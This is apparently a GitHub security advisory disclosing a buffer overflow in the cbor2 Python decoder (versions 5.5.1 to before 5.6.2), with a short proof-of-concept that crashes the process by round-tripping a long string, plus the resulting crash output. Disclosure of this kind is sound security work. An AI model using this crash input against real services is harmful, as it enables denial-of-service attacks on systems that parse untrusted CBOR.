GHSA-375g-39jq-vq7m Potential buffer overflow in CBOR2 decoder

• PyPI cbor2: >= 5.5.1, < 5.6.2 → fixed in 5.6.2

Summary Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still) Details PoC ```py import json import concurrent.futures import cbor2 def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc) with concurrent.futures.ProcessPoolExecutor() as executor: future = executor.submit(test) print(future.result()) ``` ``` malloc(): unsorted double linked list corrupted Traceback (most recent call last): File "test.py", line 14, in print(future.result()) File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result return self.__get_result() File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result raise self._exception concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending. ``` If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow. ```py import json import cbor2 def test(): obj = "x" * 131128 cbor_enc = cbor2.dumps(obj) return cbor2.loads(cbor_enc) print(test()) ``` ``` Traceback (most recent call last): File "test.py", line 12, in print(test()) File "test.py", line 9, in test return cbor2.loads(cbor_enc) SystemError: returned NULL without setting an error ``` Impact An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.